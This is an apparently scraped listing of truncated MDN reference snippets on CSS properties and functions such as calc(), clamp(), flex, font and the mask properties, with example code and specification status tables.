mmendation no direct change; the <length> css data type extension has an effect on this property. css level 2 (revision 1)the definition of 'border-width' in that specification. reco
mmendation added the constraint that values' meaning must be constant inside a document. css level 1the definition of 'border-width' in that specification. reco
mmendation initial definition. ...
bottom - CSS: Cascading Style Sheets
...
... bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status co
mment css positioned layout module level 3the definition of 'bottom' in that specification. working draft adds behavior for sticky positioning. css level 2 (revision 1)the definition of 'bottom' in that specification. reco
mmendation initial definition. ...
calc() - CSS: Cascading Style Sheets
% -8px) will be parsed as a percentage followed by a negative length — an invalid expression — while calc(50% - 8px) is a percentage followed by a subtraction operator and a length. likewise, calc(8px + -50%) is treated as a length followed by an addition operator and a negative percentage. the * and / operators do not require whitespace, but adding it for consistency is both allowed and reco
mmended. division by zero results in an error being generated by the html parser. math expressions involving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified. it is permitted to nest calc() functions, in which case the inner ones are treated as s...
...c's value will be calc( calc( 100px / 2) / 2), then when it's assigned to .foo's width property, all inner calc()s (no matter how deeply nested) will be flattened to just parentheses, so the width property's value will be eventually calc( ( 100px / 2) / 2), i.e. 25px. in short: a calc() inside of a calc() is identical to just parentheses. specifications specification status co
mment css values and units module level 3the definition of 'calc()' in that specification. candidate reco
mmendation initial definition ...
caption-side - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
clamp() - CSS: Cascading Style Sheets
ve-examples and send us a pull request. note that using clamp() for font sizes, as in these examples, allows you to set a font-size that grows with the size of the viewport, but doesn't go below a minimum font-size or above a maximum font-size. it has the same effect as the code in fluid typography but in one line, and without the use of media queries. syntax the clamp() function takes three co
mma separated expressions as its parameter, in the order of minimum value, preferred value, maximum value. the minimum value is the smallest (most negative) value. this is the lower bound in the range of allowed values. if the preferred value is less than this value, the minimum value will be used. the preferred value is the expression whose value will be used as long as the result is between the ...
...eos. nam non felis quis sem lobortis sodales vel id libero. phasellus sit amet placerat lorem. </p> css html { font-family: sans-serif; } body { margin: 0 auto; width: min(1000px, calc(70% + 100px)); } h1 { letter-spacing: 2px; font-size: clamp(1.8rem, 2.5vw, 2.8rem); } p { line-height: 1.5; font-size: max(1.2rem, 1.2vw); } specifications specification status co
mment css values and units module level 4the definition of 'clamp()' in that specification. editor's draft initial definition. ...
clear - CSS: Cascading Style Sheets
css level 1the definition of 'clear' in that specifi...
...rgin: 0; background-color: pink; width:20%; } p { width: 45%; } specifications specification status co
mment css logical properties and values level 1the definition of 'float and clear' in that specification. editor's draft adds the values inline-start and inline-end css level 2 (revision 1)the definition of 'clear' in that specification. reco
mmendation no significant changes, though details are clarified. css level 1the definition of 'clear' in that specification. reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull req...
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
: 1px solid green; background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css `column-gap` property. ...
...iting? i sure do! </p> css .content-box { column-count: 3; column-gap: 40px; } result specifications specification status co
mment css box alignment module level 3the definition of 'column-gap' in that specification. working draft applies to grid and flexbox css grid layoutthe definition of 'column-gap' in that specification. candidate reco
mmendation specifies how this property affects grid layouts css multi-column layout modulethe definition of 'column-gap' in that specification. working draft initial definition ...
column-width - CSS: Cascading Style Sheets
ned by other css properties, such as column-count. ...
..., zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea co
mmodo consequat. </p> css .content-box { column-width: 100px; } result specifications specification status co
mment css writing modes level 4the definition of 'column-width' in that specification. candidate reco
mmendation adds intrinsic sizes via the keywords min-content, max-content, fill-available, and fit-content. css multi-column layout modulet...
content - CSS: Cascading Style Sheets
ith ::before or ::after will not be generated as the contents of the element have been replaced. ...
... { /* will not show if element replacement is supported */ content: " (" attr(id) ")"; } result specifications specification status co
mment css generated content module level 3the definition of 'content' in that specification. ...
counter-increment - CSS: Cascading Style Sheets
...
...age; /* increases the value of the chapter and page counters by 1, and the section counter by 2 */ } specifications specification status co
mment css lists module level 3the definition of 'counter-increment' in that specification. working draft no change. css level 2 (revision 1)the definition of 'counter-increment' in that specification. reco
mmendation initial definition. ...
counter-set - CSS: Cascading Style Sheets
ber pair separated by a space. the keyword value none. values <custom-ident> the name of the counter to set. <integer> the value to set the counter to on each occurrence of the element. defaults to 0 if not specified. if there isn't currently a counter of the given name on the element, the element will create a new counter of the given name with a starting value of 0 (though it may then i
mmediately set or increment that value to something different). none no counter set is to be performed. this can be used to override a counter-set defined in a less specific rule. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <custom-ident> <integer>? ]+ | none examples setting named counters h1 { coun...
...rule. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <custom-ident> <integer>? ]+ | none examples setting named counters h1 { counter-set: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status co
mment css lists module level 3the definition of 'counter-set' in that specification. working draft initial definition. ...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
that instead of setting display: flex to create a block-level box with flex children, we will use display: block flex. instead of display: inline-flex to create an inline-level box with flex children, we will use display: inline flex. the example below, which will work in firefox 70 and upwards, demonstrates these values. there are mappings for all of the existing values of display; the most co
mmon ones are listed in the table below. to see a full list take a look at the table found in the display property specification. single value new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid ...
... no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future. chromium bug: https://bugs.chromium.org/p/chromium/issues/detail?id=804600 there is value in thinking about the values of display in this two-value way however. if you consider the outer and inner values when you change the value of display, you will understand i
mmediately what impact the value will have on the box itself, and how it displays and behaves in the layout, and the direct children. ...
empty-cells - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxi...
...<td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status co
mment css level 2 (revision 1)the definition of 'empty-cells' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on...
env() - CSS: Cascading Style Sheets
editor's draft initial definition. ...
...ties are case sensitive */ padding: env(x, 50px 20px); /* as if padding: '50px 20px' were set because x is not a valid environment variable */ padding: env(x, 50px, 20px); /* ignored because '50px, 20px' is not a valid padding value and x is not a valid environment variable */ the syntax of the fallback, like that of custom properties, allows co
mmas. but, if the property value doesn't support co
mmas, the value is not valid. note: user agent properties are not reset by the all property. specifications specification status co
mment css environment variables module level 1the definition of 'env()' in that specification. editor's draft initial definition. ...
filter - CSS: Cascading Style Sheets
included in the css standard are several functions that achieve predefined effects. you can also reference an svg filter with a url to an svg filter element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...er functions examples of using the predefined functions are shown below. see each function for a specific example. .mydiv { filter: grayscale(50%); } /* gray all images by 50% and blur by 10px */ img { filter: grayscale(0.5) blur(10px); } applying svg filters examples of using the url function with an svg resource are as follows: .target { filter: url(#c1); } .mydiv { filter: url(co
mmonfilters.xml#large-blur); } specifications specification status co
mment filter effects module level 1the definition of 'filter' in that specification. working draft initial definition. ...
fit-content() - CSS: Cascading Style Sheets
...
... result specifications specification status co
mment css box sizing module level 3the definition of 'fit-content()' in that specification. working draft defines the function as laid out box size for width, height, min-width, min-height, max-width and max-height. css grid layoutthe definition of 'fit-content()' in that specification. candidate reco
mmendation defines the function when used as a track size. ...
flex-wrap - CSS: Cascading Style Sheets
ss="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:nowrap </h4> <div class="content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* co
mmon styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; fle...
...50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status co
mment css flexible box layout modulethe definition of 'flex-wrap' in that specification. candidate reco
mmendation ...
flex - CSS: Cascading Style Sheets
w"); flex.addeventlistener("click", function() { raw.style.display = raw.style.display == "none" ? ...
...ne"; }); #flex-container { width: 100%; font-family: consolas, arial, sans-serif; } #flex-container > div { border: 1px solid #f00; padding: 1rem; } #flex-container > .raw-item { border: 1px solid #000; } result specifications specification status co
mment css flexible box layout modulethe definition of 'flex' in that specification. candidate reco
mmendation initial definition ...
font-feature-settings - CSS: Cascading Style Sheets
e glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical forms */ .hist { font-feature-settings: "hist"; } /* disable co
mmon ligatures, usually on by default */ .noligs { font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh" 2; } /* enable stylistic set 7 */ .fancystyle { font-fami...
...ure-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh" 2; } /* enable stylistic set 7 */ .fancystyle { font-family: gabriola; /* available on windows 7, and on mac os */ font-feature-settings: "ss07"; } specifications specification status co
mment css fonts module level 3the definition of 'font-feature-settings' in that specification. candidate reco
mmendation initial definition ...
font-size-adjust - CSS: Cascading Style Sheets
it has been newly defined in css 3. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to c...
...es { font-family: times, serif; font-size: 10px; } .verdana { font-family: verdana, sans-serif; font-size: 10px; } .adjtimes { font-family: times, serif; font-size-adjust: 0.58; font-size: 10px; } results specifications specification status co
mment css fonts module level 3the definition of 'font-size-adjust' in that specification. candidate reco
mmendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1. it has been newly defined in css 3. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopm...
font-size - CSS: Cascading Style Sheets
css lev...
..."larger">larger h1</h1> <h1 class="point">24 point h1</h1> <h1 class="percent">200% h1</h1> result specifications specification status co
mment css fonts module level 4the definition of 'font-size' in that specification. working draft adds xxx-large keyword. css fonts module level 3the definition of 'font-size' in that specification. candidate reco
mmendation no change. css level 2 (revision 1)the definition of 'font-size' in that specification. reco
mmendation no change. css level 1the definition of 'font-size' in that specification. reco
mmendation initial definition. ...
font-stretch - CSS: Cascading Style Sheets
note: the font-stretch property was initially defined in css 2, but dropped in css 2.1...
...font-stretch: 100%; } .expanded { font-stretch: 200%; } result specifications specification status co
mment css fonts module level 4the definition of 'font-stretch' in that specification. working draft adds the <percentage> syntax for variable fonts. css fonts module level 3the definition of 'font-stretch' in that specification. candidate reco
mmendation initial definition. note: the font-stretch property was initially defined in css 2, but dropped in css 2.1 due to the lack of browser implementation. it was brought back in css 3. ...
font-synthesis - CSS: Cascading Style Sheets
ecifiedanimation typediscrete formal syntax none | [ weight | style ] examples disabling font synthesis html <em class="syn">synthesize me! ...
... class="syn">synthesize me! 站直。</em> <br/> <em class="no-syn">don't synthesize me! ...
font-variant-caps - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilech...
...ocks, small caps!</p> <p class="normal">firefox rocks, normal caps!</p> css .small-caps { font-variant-caps: small-caps; font-style: italic; } .normal { font-variant-caps: normal; font-style: italic; } result specifications specification status co
mment css fonts module level 3the definition of 'font-variant-caps' in that specification. candidate reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on...
font-variant-position - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobi...
...ass="super">super!</p> <p class="sub">sub!</p> css p { display: inline; } .normal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status co
mment css fonts module level 3the definition of 'font-variant-position' in that specification. candidate reco
mmendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on...
font - CSS: Cascading Style Sheets
<font-size> <font-family> it may optionally include values for: <font-style> <font-variant> <font-weight> <font-stretch> <line-height> font-style, font-variant and font-weight must precede font-size font-variant may only specify the values defined in css 2.1, that is normal and small-caps font-stretch may only be a single keyword value. line-height must i
mmediately follow font-size, preceded by "/", like this: "16px/3" font-family must be the last value specified. values <'font-style'> see the font-style css property. <'font-variant'> see the font-variant css property. <'font-weight'> see the font-weight css property. <'font-stretch'> see the font-stretch css property. <'font-size'> see the font-size css property. <'line-height'> se...
... injectcss(shorttext); } injectcss = function(cssfragment) { old = document.body.getelementsbytagname("style"); if (old.length > 1) { old[1].parentelement.removechild(old[1]); } css = document.createelement("style"); css.innerhtml = ".fontshorthand{font: " + cssfragment + "}"; document.body.appendchild(css); } setcss(); specifications specification status co
mment css fonts module level 3the definition of 'font' in that specification. candidate reco
mmendation added support for font-stretch values. css level 2 (revision 1)the definition of 'font-weight' in that specification. reco
mmendation added support for keywords. css level 1the definition of 'font' in that specification. reco
mmendation initial definit...
<frequency-percentage> - CSS: Cascading Style Sheets
+0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0 this is a <number>, not an <frequency>, because it is missing a unit. 7 hz no space is allowed between the number and the unit. 0 although unitless zero is an allowable <length>, it's an invalid <frequency>. specifications specification status ...
...ed. +0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0 this is a <number>, not an <frequency>, because it is missing a unit. 7 hz no space is allowed between the number and the unit. 0 although unitless zero is an allowable <length>, it's an invalid <frequency>. specifications specification status co
mment css values and units module level 4the definition of '<frequency-percentage>' in that specification. editor's draft css values and units module level 3the definition of '<frequency-percentage>' in that specification. candidate reco
mmendation defines <frequency-percentage>. adds calc() ...
<frequency> - CSS: Cascading Style Sheets
ame regardless of unit, the unit may not be omitted. in other words, 0 is invalid and does not represent 0hz or 0khz. though the units are case-insensitive, it is good practice to use a capital "h" for hz and khz, as specified in the si. examples valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not reco
mmended. +0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0 this is a <number>, not an <frequency>, because it is missing a unit. 7 hz no space is allowed between the number and the unit. 0 although unitless zero is an allowable <length>, it's an invalid <frequency>. specifications specification status ...
...ed. +0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0 this is a <number>, not an <frequency>, because it is missing a unit. 7 hz no space is allowed between the number and the unit. 0 although unitless zero is an allowable <length>, it's an invalid <frequency>. specifications specification status co
mment css values and units module level 3the definition of '<frequency>' in that specification. candidate reco
mmendation initial definition. note: this data type was initially introduced in css level 2 for the now-obsolete aural media type, where it was used to define the pitch of the voice. however, the <frequency> data type has been reintroduced in css3, though no css pr...
gap (grid-gap) - CSS: Cascading Style Sheets
laced by gap. however, in order to support browsers that implemented grid-gap and not gap for grid, you will need to use the prefixed property as in the interactive example above. syntax /* one <length> value */ gap: 20px; gap: 1em; gap: 3vmin; gap: 0.5cm; /* one <percentage> value */ gap: 16%; gap: 100%; /* two <length> values */ gap: 20px 10px; gap: 1em 0.5em; gap: 3vmin 2vmax; gap: 0.5cm 2
mm; /* one or two <percentage> values */ gap: 16% 100%; gap: 21px 82%; /* calc() values */ gap: calc(10% + 20px); gap: calc(20px + 10%) calc(10% - 5px); /* global values */ gap: inherit; gap: initial; gap: unset; this property is specified as a value for <'row-gap'> followed optionally by a value for <'column-gap'>. if <'column-gap'> is omitted, it’s set to the same value as <'row-gap'>. <'r...
... working draft initial definition ...
hanging-punctuation - CSS: Cascading Style Sheets
t, allow-end, or force-end three-value syntax uses one of the following: first, allow-end, and last first, force-end, and last values none no character hangs. first an opening bracket or quote at the start of the first formatted line of an element hangs. last a closing bracket or quote at the end of the last formatted line of an element hangs. force-end a stop or co
mma at the end of a line hangs. allow-end a stop or co
mma at the end of a line hangs if it does not otherwise fit prior to justification. formal definition initial valuenoneapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ first | [ force-end | allow-end ] | last ] examples setting opening and closing quotes to hang html <p>“lorem ...
... examples setting opening and closing quotes to hang html <p>“lorem ipsum dolor sit amet, consectetur adipiscing elit. curabitur dignissim nunc mauris, et sollicitudin est scelerisque sed. praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”</p> css p { hanging-punctuation: first last; margin: .5rem; } result specifications specification status co
mment css text module level 3the definition of 'hanging-punctuation' in that specification. working draft initial definition ...
height - CSS: Cascading Style Sheets
horter">i'm 25 pixels tall.</div> <div id="parent"> <div id="child"> i'm half the height of my parent. ...
...fication status co
mment css box sizing module level 4the definition of 'height' in that specification. editor's draft css box sizing module level 3the definition of 'height' in that specification. working draft added the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'height' in that specification. reco
mmendation adds support for the <length> values and precises on which element it applies to. css level 1the definition of 'height' in that specification. reco
mmendation initial definition. ...
ident - CSS: Cascading Style Sheets
alphanumeric characters bili\.bob a correctly escaped period invalid identifiers 34rem it must not start with a decimal digit. -12rad it must not start with a dash followed by a decimal digit. ...
...rs, _, and - needn't be escaped. 'bilibob' this would be a <string>. "bilibob" this would be a <string>. ...
image-set() - CSS: Cascading Style Sheets
gh-resolution screen may prefer to receive lower-resolution images rather than waiting for a higher resolution image to load. image-set() allows the author to provide options rather than determining what each individual user needs. syntax image-set() = image-set( <image-set-option># ) where <image-set-option> = [ <image> | <string> ] <resolution> and <string> is an <url> values most co
mmonly you'll see an url() <string> value, but the <image> can be any image type except for an image set. the image-set() function can not be nested inside another image-set() function. <resolution> units include x or dppx, for dots per pixel unit, dpi, for dots per inch, and dpcm for dots per centimeter. every image within an image-set() must have a unique resolution. examples background-image: ...
...r will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 specifications specification status co
mment css images module level 4the definition of 'the image-set() notation' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinterne...
image() - CSS: Cascading Style Sheets
. the section of the image defined in the parameter becomes a standalone image. the syntax looks like so: background-image: image('myimage.webp#xywh=0,20,40,60'); the background image of the element will be the portion of the image myimage.webp that starts at the coordinate 0px, 20px (the top left hand corner) and is 40px wide and 60px tall. the #xywh=#,#,#,# media fragment syntax takes four co
mma separated numeric values. the first two represent the x and y coordates for the starting point of the box that will be created. the third value is the width of the box, and the last value is the height. by default, these are pixel values. the spacial dimension definition in the media specification indicates that percentages will be supported as well: xywh=160,120,320,240 /* results in a ...
...ld have appeared behind the logo image instead of on top of it. additionally, the entire container would have had the same background color. because we used image() along with the background-size property (and prevented the image from repeating with the background-repeat property, the color swatch will only cover a quarter of the container. specifications specification status co
mment css images module level 4the definition of 'image()' in that specification. working draft initial definition ...
inherit - CSS: Cascading Style Sheets
/ h2 { color: green; } /* ...but leave those in the sidebar alone so they use their parent's color */ #sidebar h2 { color: inherit; } in this example the h2 elements inside the sidebar might be different colors. for example, if one of them were the child of a div matched by the rule ... div#current { color: blue; } ... it would be blue. specifications specification status co
mment css cascading and inheritance level 4the definition of 'inherit' in that specification. candidate reco
mmendation no changes from level 3. css values and units module level 3the definition of 'inherit' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of 'inherit'...
...and inheritance level 4the definition of 'inherit' in that specification. candidate reco
mmendation no changes from level 3. css values and units module level 3the definition of 'inherit' in that specification. candidate reco
mmendation no significant change from css level 2 (revision 1). css level 2 (revision 1)the definition of 'inherit' in that specification. reco
mmendation initial definition. ...
<integer> - CSS: Cascading Style Sheets
ing +/- is allowed. ten letters are not allowed. _5 special characters are not allowed. \35 escaped unicode characters are not allowed, even if they are an integer (here: 5). \4e94 non-arabic numerals are not allowed, even when escaped (here: the japanese 5, 五). 3e4 scientific notation is not allowed. ...
...d (here: the japanese 5, 五). 3e4 scientific notation is not allowed. specifications specification status co
mment css values and units module level 4the definition of '<integer>' in that specification. editor's draft no significant change. css values and units module level 3the definition of '<integer>' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of '<integer>' in that specification. reco
mmendation explicit definition. css level 1the definition of '<integer>' in that specification. reco
mmendation implicit definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to co...
left - CSS: Cascading Style Sheets
...
...sition: absolute; right: 0; left: 0; top: 100px; background-color: #d7ffc2; } result specifications specification status co
mment css positioned layout module level 3the definition of 'left' in that specification. working draft adds behavior for sticky positioning. css level 2 (revision 1)the definition of 'left' in that specification. reco
mmendation initial definition. ...
letter-spacing - CSS: Cascading Style Sheets
m-wide">letter spacing</p> <p class="em-wider">letter spacing</p> <p class="em-tight">letter spacing</p> <p class="px-wide">letter spacing</p> css .normal { letter-spacing: normal; } .em-wide { letter-spacing: 0.4em; } .em-wider { letter-spacing: 1em; } .em-tight { letter-spacing: -0.05em; } .px-wide { letter-spacing: 6px; } result specifications specification status co
mment css text module level 3the definition of 'letter-spacing' in that specification. working draft no change. css level 2 (revision 1)the definition of 'letter-spacing' in that specification. reco
mmendation no change. scalable vector graphics (svg) 1.1 (second edition)the definition of 'letter-spacing' in that specification. reco
mmendation initial s...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
line-break - CSS: Cascading Style Sheets
k: auto; line-break: loose; line-break: normal; line-break: strict; line-break: anywhere; /* global values */ line-break: inherit; line-break: initial; line-break: unset; syntax values auto break text using the default line break rule. loose break text using the least restrictive line break rule. typically used for short lines, such as in newspapers. normal break text using the most co
mmon line break rule. strict break text using the most stringent line break rule. anywhere there is a soft wrap opportunity around every typographic character unit, including around any punctuation character or preserved white spaces, or in the middle of words, disregarding any prohibition against line breaks, even those introduced by characters with the gl, wj, or zwj character class or manda...
... working draft initial definition ...
linear-gradient() - CSS: Cascading Style Sheets
d, in between, optional color-stop points. the starting point is the location on the gradient line where the first color begins. the ending point is the point where the last color ends. each of these two points is defined by the intersection of the gradient line with a perpendicular line passing from the box corner which is in the same quadrant. the ending point can be simply understood as the sy
mmetrical point of the starting point. these somewhat complex definitions lead to an interesting effect sometimes called magic corners: the corners nearest to the starting and ending points have the same color as their respective starting or ending points. customizing gradients by adding more color-stop points on the gradient line, you can create a highly customized transition between multiple col...
...olor stops, with adjacent colors having the same color stop value, creating a striped effect. body { width: 100vw; height: 100vh; } body { background: linear-gradient(to right, red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%); } more linear-gradient examples please see using css gradients for more examples. specifications specification status co
mment css images module level 4the definition of 'gradient color-stops' in that specification. working draft adds interpolation hints. css images module level 3the definition of 'linear-gradient()' in that specification. candidate reco
mmendation initial definition. ...
list-style-position - CSS: Cascading Style Sheets
...
...: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status co
mment css lists module level 3the definition of 'list-style-position' in that specification. working draft no change. css level 2 (revision 1)the definition of 'list-style-position' in that specification. reco
mmendation initial definition. ...
margin - CSS: Cascading Style Sheets
ke ie8-9 that do not support flexible box layout, these are not available. in order to center an element inside its parent, use margin: 0 auto;. margin collapsing elements' top and bottom margins are sometimes collapsed into a single margin that is equal to the larger of the two margins. see mastering margin collapsing for more information. ...
... into a single margin that is equal to the larger of the two margins. see mastering margin collapsing for more information. specifications specification status co
mment css basic box modelthe definition of 'margin' in that specification. working draft no significant change. css level 2 (revision 1)the definition of 'margin' in that specification. reco
mmendation removes the effect of top and bottom margins on inline elements. css level 1the definition of 'margin' in that specification. reco
mmendation initial definition. initial valueas each of the properties of the shorthand:margin-bottom: 0margin-left: 0margin-right: 0margin-top: 0applies toall elements, except elements with table display types other than table-caption, ...
mask-clip - CSS: Cascading Style Sheets
values content-box the painted content is clipped to the content box. padding-box the painted content is clipped to the padding box. border-box the painted content is clipped to the border box. margin-box the painted content is clipped to the margin box. fill-box the painted content is clipped to the object bounding box. stroke-box the painted content is clipped to the stroke bo...
...tion value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-clip' in that specification. candidate reco
mmendation initial definition ...
mask-composite - CSS: Cascading Style Sheets
e css property represents a compositing operation used on the current mask layer with the mask layers below it. /* keyword values */ mask-composite: add; mask-composite: subtract; mask-composite: intersect; mask-composite: exclude; /* global values */ mask-composite: inherit; mask-composite: initial; mask-composite: unset; syntax one or more of the keyword values listed below, separated by co
mmas. values for the composition the current mask layer is referred to as source, while all layers below it are referred to as destination. add the source is placed over the destination. subtract the source is placed, where it falls outside of the destination. intersect the parts of source that overlap the destination, replace the destination. exclude the non-overlapping regions of sourc...
...e="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-composite' in that specification. candidate reco
mmendation initial definition ...
mask-mode - CSS: Cascading Style Sheets
ce defined by mask-image is treated as a luminance or alpha mask. /* keyword values */ mask-mode: alpha; mask-mode: luminance; mask-mode: match-source; /* multiple values */ mask-mode: alpha, match-source; /* global values */ mask-mode: inherit; mask-mode: initial; mask-mode: unset; syntax the mask-mode property is specified as one or more of the keyword values listed below, separated by co
mmas. values alpha this keyword indicates that the transparency (alpha channel) values of the mask layer image should be used as the mask values. luminance this keyword indicates that the luminance values of the mask layer image should be used as the mask values. match-source if the mask-image property is of type <mask-source>, the luminance values of the mask layer image should be used a...
...value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-mode' in that specification. candidate reco
mmendation initial definition ...
mask-origin - CSS: Cascading Style Sheets
g area. in other words, this property specifies the origin position of an image specified by the mask-image css property. for elements rendered as multiple boxes, such as inline boxes on several lines or boxes on several pages, it specifies which boxes box-decoration-break operates upon to determine the mask positioning area. syntax one or more of the keyword values listed below, separated by co
mmas. values content-box the position is relative to the content box. padding-box the position is relative to the padding box. for single boxes 0 0 is the upper left corner of the padding edge, 100% 100% is the lower right corner. border-box the position is relative to the border box. margin-box the position is relative to the margin box. fill-box the position is relative to the object ...
...ion value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-origin' in that specification. candidate reco
mmendation initial definition ...
mask-position - CSS: Cascading Style Sheets
values <position> one to four values representing a 2d position regarding the edges of the element's box. relative or absolute offsets can be given. note that the position can be set outside of the element's box. formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentage...
...">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-position' in that specification. candidate reco
